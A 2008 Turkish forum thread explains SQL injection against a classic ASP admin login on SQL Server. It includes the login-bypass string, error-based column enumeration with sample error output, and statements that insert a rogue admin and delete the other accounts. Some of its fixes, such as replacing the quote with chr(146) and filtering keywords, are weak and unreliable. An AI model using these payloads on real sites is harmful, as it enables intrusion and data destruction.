Sql Server Sql İnjection - DevTÜRK Forum "Güvenlik Programları, Online izle, İndir, Türk Tarihi, kim kimdir? , ne? nedir? vs..."


DevTÜRK Forum "Güvenlik Programları, Online izle, İndir, Türk Tarihi, kim kimdir? , ne? nedir? vs..." » Certified Ethical hacker(CEH) » SQL Injections » Sql Server Sql İnjection

SQL Injections Databaseleri kandırmak, izin verilmeyen bilgileri alma teknikleri


Sql Server Sql İnjection Konusunun Bilgileri
Konu Başlığı Sql Server Sql İnjection
Sql Server Sql İnjection - Cevap Sayısı
9
Sql Server Sql İnjection - Görüntüleyenler
Sql Server Sql İnjection - Toplam Hit
992

Yeni Konu aç Cevapla
 
Seçenekler Değerlendirme Stil
Alt 10-17-2008   #1
BY CRAZY
Devasal Fikirlere Açık Ama Şeref..z Beyinlere Kapalıyım..!
Haber Alma Birimi Lider
DT Kayıt Tarihi: Oct 2008
Bulunduğu yer: ANADOLU
Mesajlar: 493
Konular: 262
Standart Sql Server Sql İnjection

Sql Server Sql İnjection .
--------------------------------------------------------------------------------
Sql Server kullanan sistemlerdeki sql injection tehlikesi ve çözümü.
Bu dökümanda size çoğu web sitesinin hacklenmesinde kullanılan ve hala birçok sitede bulunan sql injection açığından bahsedeceğim.

Sql injection temel olarak “‘” ve “—“ kullanılarak yapılır.
‘ karakteri string ifadeyi kapatır, “--“ ise kendisinden sonraki komutları iptal eder.

Çoğumuz yaptığımız işlerde işin kolayına kaçıp sql sorgularını

sql="select * from admin where kullanici_ad="'& request.querystring("kullanici_ad") &"' and sifre="'& request.querystring("sifre") &""'

sorgusuna benzer şekilde oluşturuyoruz. Bu sorgunun yaptığımız sitedeki admin konsolu giriş kontrolünü yaptığını düşünelim.

İlk etapta lamer’ ımız “x“ ve “x” yazarak giriş yapmaya çalışsın.
Bu durumda sql sorgumuz :

select * from admin where kullanici_ad='x' and sifre='x'

olacaktır. Burda sorun yok. Ama eğer lamer kullanıcı adı olarak “x’ or 1=1 -- “ girerse sql sorgusu :

select * from admin where kullanici_ad='x' or 1=1 --' and sifre='x'

olacaktır. Sql server bu sorguyu çalıştırıken “--“ karakterlerinden sonra gelen ifadeleri açıklama olarak yorumlayacak ve çalıştırmayacaktır. Yani aslında yürütülen deyim

select * from admin where kullanici_ad='x' or 1=1

olacaktır ve konsola giriş yapacaktır!

Lamer’ ımız bunu görünce işi büyütmek isteyecektir. Bu sefer tablonun yapısını öğrenmek isterse “'having 1=1 “ gönderir. Ve bir hata mesajı :

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'admin.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Tablo adını ve ilk alanın adını öğrenmiş oldu. Sonra “'group by ID “ gönderir. Bir hata mesajı daha :

Microsoft][ODBC SQL Server Driver][SQL Server]Column 'admin.kullanici_ad' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Böylece ikinci alanın adını da öğrenmiş oldu. Sonra “'group by ID, kullanici_ad“ gönderir. Bir hata mesajı daha :

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'admin.sifre' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Sonra “'group by ID, kullanici_ad,sifre“ gönderir. Hata mesajı gelmedi. Demek ki tabloda 3 alan varmış : )

Sonra uğraşmamak için kendisine bir kayıt açar. Tabii ki “' insert into admin values('x','x')” göndererek.
Artık ilk denediğin “x”, “x” bilgileriyle giriş yapabilir.

Sonra tek admin olmak ister. “' delete from admin where kullanici_ad<>'x'” gönderir. Kendi kaydı hariç bütün kayıtlar silinir.

Bunlar işin ufak çaplı kısmı. Sp’ leri kullanabilir, diğer db’ lere ulaşabilir, db’ deki bütün kayıtları silebilir, kendi mesajını sitenin anasayfasına yazabilir vs...

Çözüm nedir?
Çok basit. Kullanıcıdan gelen "‘" karakterini kabul etmemek.

Genel kabul gören çözüm “’” karakterini “’’” ile değiştirmek :

kullanici_adi=trim(request.querystring("kullanici_ adi "))
kullanici_adi=replace(kullanici_adi,”’”,”’’”)

Benim önerim ise “’” karakterini 146 ascii numaralı karakterle değiştirmektir. Ascii 146 karakteri sql server’ ın string olarak yorumladığı “’” karakteridir. Sitede arama yapan biri arama sözcüğünün içine “‘” karakteri de kullanabilmelidir.

kullanici_adi=trim(request.querystring("kullanici_ adi "))
kullanici_adi=replace(kullanici_adi,”’”,chr(146))


Dökümandaki örnek kodlar sadece yaygın kullanıldığı ve okunabilirliği yüksek olduğu için asp(vbscript) olacak ancak bu diğer dil ve ortamlarda bu tehlikenin olmadığı veya daha az olduğu anlamına gelmiyor.

Eğer zamanınız ve bilginiz yeterliyse sql sorgularını stored procedure kullanarak yapmanızı öneririm.



Sql injection diğer db' lerde de geçerli. Sadece kullanım şekilleri farklılık gösteriyor.
  Alıntı ile Cevapla
BY CRAZY, bu mesajın için sana teşekkür eden 6 kişi:
BarmeN (04-01-2009), caLc.Exe (03-14-2009), CiRKiN_CoCuK (11-21-2008), Lev0 (11-05-2008), Matrax (03-15-2009), Y@LNIZ3F3 (11-05-2008)
Alt 10-17-2008   #2
MaqiciaN
Kişisel ileti girmeye üşendim.
Teğmen
DT Kayıt Tarihi: Oct 2008
Bulunduğu yer: Anatolia
Mesajlar: 17
Konular: 5
Standart

saoLun Komutanım güzel bir dokuman oLmus arşivime aldım ..
  Alıntı ile Cevapla
Alt 10-17-2008   #3
THEsnowFLAKE
Kişisel ileti girmeye üşendim.
Teğmen
DT Kayıt Tarihi: Oct 2008
Mesajlar: 13
Konular: 0
Standart

Paylaşım için tşklr...Başarılarınızın dewamanı Dİlerim...
  Alıntı ile Cevapla
Alt 10-18-2008   #4
unkn0wn
Yay olsam elde tutarlar beni, Ok olsam yabana atarlar beni ..
Yüzbaşı
DT Kayıt Tarihi: Oct 2008
Bulunduğu yer: Bozkurt Yurdu
Mesajlar: 88
Konular: 4
Standart

Tebrikler Komutanım
  Alıntı ile Cevapla
Alt 11-21-2008   #5
CiRKiN_CoCuK
Kişisel ileti girmeye üşendim.
Teğmen
DT Kayıt Tarihi: Nov 2008
Yaş: 20
Mesajlar: 2
Konular: 0
Standart

Saolun Komutanım
  Alıntı ile Cevapla
Alt 11-22-2008   #6
KaRa__HiLaL
Şakağımdaki kansa, o benim gülüşümdür, Namertçe sürünmektense, erkekçe ölüşümdür...
Teşekkürler kardeşim~Lider
DT Kayıt Tarihi: Nov 2008
Bulunduğu yer: Э F Є
Mesajlar: 9,278
Konular: 7658
Standart

Teşekkürler...
  Alıntı ile Cevapla
Alt 03-06-2009   #7
ExorcisT
Kişisel ileti girmeye üşendim.
Teğmen
DT Kayıt Tarihi: Mar 2009
Mesajlar: 14
Konular: 1
Standart Cevap: Sql Server Sql İnjection

ellerinize sağlık komutanım....
  Alıntı ile Cevapla
Alt 03-14-2009   #8
caLc.Exe
# r00t
Teğmen
DT Kayıt Tarihi: Mar 2009
Bulunduğu yer: New YORK
Mesajlar: 21
Konular: 19
Standart Cevap: Sql Server Sql İnjection

Elinize sağLık Komutanım güzel Döküman oLmuş
  Alıntı ile Cevapla
Alt 02-03-2010   #9
Kara-ReiS
Mesajini burda yayinla! 0101'e msj'ini yolla burda yayinlansin herkes gorsun
Teğmen
DT Kayıt Tarihi: Jan 2010
Mesajlar: 2
Konular: 1
Standart Cevap: Sql Server Sql İnjection

bu yararli bilgi icin Tesekurler komutanim




Kara-ReiS
Dark-Leader
  Alıntı ile Cevapla
Alt 03-23-2010   #10
hackikat
Security 5
Üst Yönetim
DT Kayıt Tarihi: Oct 2008
Bulunduğu yer: _root_
Mesajlar: 55
Konular: 9
Standart Cevap: Sql Server Sql İnjection

BY CRAZY Nickli Üyeden Alıntı Mesajı göster
Sql Server Sql İnjection .
--------------------------------------------------------------------------------
Sql Server kullanan sistemlerdeki sql injection tehlikesi ve çözümü.



Çözüm nedir?
Çok basit. Kullanıcıdan gelen "‘" karakterini kabul etmemek.

sadece " ' " değil "or" "union" "select" "from" gibi kelimeleri filitrelemekte de fayda var


Bizler Tanrı Dağında KÜRŞAT
Roma'da ATİLLA
Türkistan'da AHMET YESEVİ
Malazgirt'te ALPARSLAN
İstanbul'da FATİH
Sina'da YAVUZ
Çanakkale'de ATATÜRK
olarak görünen KAHRAMAN bir Milletiz.
BUNU ASLA UNUTMA!!!
  Alıntı ile Cevapla
Cevapla

Seçenekler
Stil Konuyu değerlendir
Konuyu değerlendir:

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı

Hizli Erisim



Hatırlatmakta Fayda Var

Online sinema film ve dizi izleme alanımızı ziyaret ettinizmi ?

DT online film izle alanı sayesinde film, dizi, çizgi film, belgeselleri bilgisayarınıza indirmeden online izlemeniz mümkün..

NOT :

Sitemizdeki bütün video ( film , dizi ) içerikleri video.google.com ve video.yahoo.com adreslerinden RSS botuyla çekilmektedir.

Bu adreslerden içeriğin silinmesi durumunda sitemizde ilgili videoları izlemeniz mümkün değildir.

Anlayışınız için teşekkür ederiz.


WEZ Format +2. Şuan Saat: 08:50 PM.
DevTürkler İnternet Hizmetleri LTD ŞTİ Bilişim Teknolojileri Araştırma & Geliştirme Birimi
İletisim
devturkler.com

Tasarım & Kodlama 3FE - Matrax